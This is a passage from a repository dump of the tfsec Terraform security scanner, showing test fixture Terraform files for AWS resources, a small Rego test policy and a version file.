4 | } 5 | 6 | # tfsec:ignore:aws-rds-enable-performance-insights-encryption 7 | resource "aws_db_instance" "toplevel_db" { 8 | apply_immediately = true 9 | identifier = "${var.platform_name}-toplevel-db" 10 | availability_zone = "${data.aws_region.current.name}a" 11 | username = "awsrdsdba" 12 | allocated_storage = 20 13 | password = var.db_admin_password 14 | engine = "postgres" 15 | engine_version = "14.2" 16 | multi_az = false 17 | instance_class = "db.t3.micro" 18 | db_subnet_group_name = aws_db_subnet_group.db_subnet_group.id 19 | backup_window = "00:00-00:30" 20 | maintenance_window = "sat:01:00-sat:02:00" 21 | backup_retention_period = 7 22 | storage_encrypted = true 23 | vpc_security_group_ids = [aws_security_group.db_security_group.id] 24 | skip_final_snapshot = false 25 | final_snapshot_identifier = "${var.platform_name}-final-snapshot" 26 | allow_major_version_upgrade = true 27 | auto_minor_version_upgrade = true 28 | publicly_accessible = false 29 | copy_tags_to_snapshot = true 30 | performance_insights_enabled = true 31 | } -------------------------------------------------------------------------------- /test/testdata/mixed/main.tf: -------------------------------------------------------------------------------- 1 | 2 | resource "aws_cloudtrail" "good_example" { 3 | is_multi_region_trail = true 4 | enable_log_file_validation = true 5 | kms_key_id = "something" 6 | } 7 | -------------------------------------------------------------------------------- /test/testdata/nested/fail/main.tf: -------------------------------------------------------------------------------- 1 | 2 | resource "aws_s3_bucket" "bkt" { 3 | 4 | } 5 | -------------------------------------------------------------------------------- /test/testdata/nested/main.tf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/test/testdata/nested/main.tf -------------------------------------------------------------------------------- /test/testdata/panic/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "panic" { 2 | # this will trigger a panic in the tests 3 | bucket = "panic" 4 | } -------------------------------------------------------------------------------- /test/testdata/pass/main.tf: -------------------------------------------------------------------------------- 1 | resource "pass" "pass" { 2 | # this should always pass! 3 | } -------------------------------------------------------------------------------- /test/testdata/rego/policies/rego.rego: -------------------------------------------------------------------------------- 1 | package custom.rego.rego.sauce 2 | 3 | deny[res] { 4 | count(input.aws.s3.buckets) > 0 5 | res := result.new("NO BUCKETS", input.aws.s3.buckets[_]) 6 | } 7 | -------------------------------------------------------------------------------- /test/testdata/rego/tf/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "blah" { 2 | 3 | } 4 | -------------------------------------------------------------------------------- /test/testdata/tfvars/test.tfvars: -------------------------------------------------------------------------------- 1 | bucket_count = 1 -------------------------------------------------------------------------------- /test/testdata/tfvars/tf/main.tf: -------------------------------------------------------------------------------- 1 | 2 | variable "bucket_count" { 3 | default = 0 4 | } 5 | 6 | resource "aws_s3_bucket" "bad" { 7 | count = var.bucket_count 8 | } 9 | -------------------------------------------------------------------------------- /test/testdata/with_config_overrides/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "for_web" { 2 | bucket = "${local.prefix}-${lookup(each.value, "name")}-web" 3 | acl = "private" 4 | 5 | tags = { 6 | Name = "${local.prefix}-${lookup(each.value, "name")}-web" 7 | } 8 | } -------------------------------------------------------------------------------- /test/testdata/workspace/main.tf: -------------------------------------------------------------------------------- 1 | resource "aws_s3_bucket" "maybe" { 2 | count = terraform.workspace == "default" ? 10 : 0 3 | } -------------------------------------------------------------------------------- /tfsec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aquasecurity/tfsec/b692c20b68c0121346b7b34e81d6b1867ca8e1a8/tfsec.png -------------------------------------------------------------------------------- /version/version.go: -------------------------------------------------------------------------------- 1 | package version 2 | 3 | // Version is automatically set using ldflags on build/release. Describes built version of tfsec. 4 | var Version = "" 5 | --------------------------------------------------------------------------------